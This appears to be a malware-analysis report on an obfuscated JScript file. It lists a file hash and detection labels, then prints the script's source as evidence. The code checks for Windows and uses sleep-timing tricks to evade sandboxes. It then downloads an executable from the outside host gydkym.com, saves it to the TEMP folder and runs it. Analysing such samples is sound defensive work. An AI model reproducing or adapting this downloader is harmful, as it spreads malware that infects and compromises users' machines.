20160328_7acf1fa29185a77f7664839326a475d8.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25686e56baf5575c626055a90bd0066e608482ecec644c024c49c61c97de9388d25
Evidence
1var Scwjuun = false;
2var Pypwkcjvxj = "CreateObject";
3var Ygbtklouyc = function Vfxijria() {return WScript[Pypwkcjvxj]("WScript.Shell");}();
4var Cfgsjlz = 123213;
5var Ygxnmwz = "MSXML2.XMLHTTP";
6var Ebuvhvuso = 2123213;
7var Qqmmjxya = 0;
8function Peqpecmq(Ephwu){Ygbtklouyc["Run"](Ephwu, Qqmmjxya, Qqmmjxya);};
9function Ocblg(){return Ygxnmwz;};
10function Slmrttpph(Txonjhrnc, Wphfdqtw){return Txonjhrnc - Wphfdqtw;};
11function Pfsua(){return Pypwkcjvxj;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Scwjuun = true;
15 @end
16@*/
17var Pvyhvm = "";
18if (Scwjuun)
19{
20function Twbzkeipp(){return 22;};
21var Iuqmmxdys = 0; var Ivtrv = 0;
22function Hslpdlpcbq()
23{
24var Xxlzbhqup = new this["Date"]();
25var Wpeynsy = Xxlzbhqup["getUTCMilliseconds"]();
26WScript["Sleep"](Twbzkeipp());
27var Xxlzbhqup = new this["Date"]();
28var Hilmkfk = Xxlzbhqup["getUTCMilliseconds"]();
29WScript["Sleep"](Twbzkeipp());
30var Xxlzbhqup = new this["Date"]();
31var Uvsob = Xxlzbhqup["getUTCMilliseconds"]();
32var Iuqmmxdys = "Tzlwzm";
33Iuqmmxdys = Slmrttpph(Hilmkfk, Wpeynsy);
34var Ivtrv = "Dzmcmuu";
35Ivtrv = Slmrttpph(Uvsob, Hilmkfk);
36Pvyhvm = "open";
37return Slmrttpph(Iuqmmxdys, Ivtrv);
38}
39var Hifojxbn = false;
40var Wvrwk = false;
41for (var Uslinpt = Qqmmjxya; Uslinpt < Twbzkeipp() * 1; Uslinpt++){if (Hslpdlpcbq() != Qqmmjxya){
42Hi …
49if (Hifojxbn && Vqsinbu() && Wvrwk){
50function Apnowj() {return Ygbtklouyc["ExpandEnvironmentStrings"]("%TEMP%/") + "HxopwL3LTy.exe";};
51 Wurux = Ocblg();
52 Hbtnbfjt = WScript[Pypwkcjvxj](Wurux);
53 var Uhdrnbnpx = 1;
54 while (Uhdrnbnpx){
55try {
56Hbtnbfjt[Pvyhvm]("GET", "http://gydkym.com/dk3s8sja", false);
57Hbtnbfjt["send"]();
58Zbfosifyxw = "Sleep";
59do {WScript[Zbfosifyxw](Twbzkeipp() * 11)} while (Hbtnbfjt["readystate"] < 4 );
60Uhdrnbnpx = Qqmmjxya;
61} catch(Sskugxqaju){Uhdrnbnpx = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Uqqqwoiagw(Velmd) {var Igmbcevg = (1, 2, 3, 4, 5, Velmd); return Igmbcevg;};
64Qpcijnfut = WScript[Pfsua()]("ADODB.Stream");
65Wurux = Qpcijnfut;
66Wurux[Pvyhvm]();
67Wurux["type"] = Uqqqwoiagw(1);
68Wurux["write"](Hbtnbfjt["ResponseBody"]);
69Qpcijnfut["position"] = Uqqqwoiagw(Qqmmjxya);
70Wurux["SaveToFile"](Apnowj(), Uqqqwoiagw(2) );
71Qpcijnfut["close"]();
72Peqpecmq(Apnowj());
73}
74}
75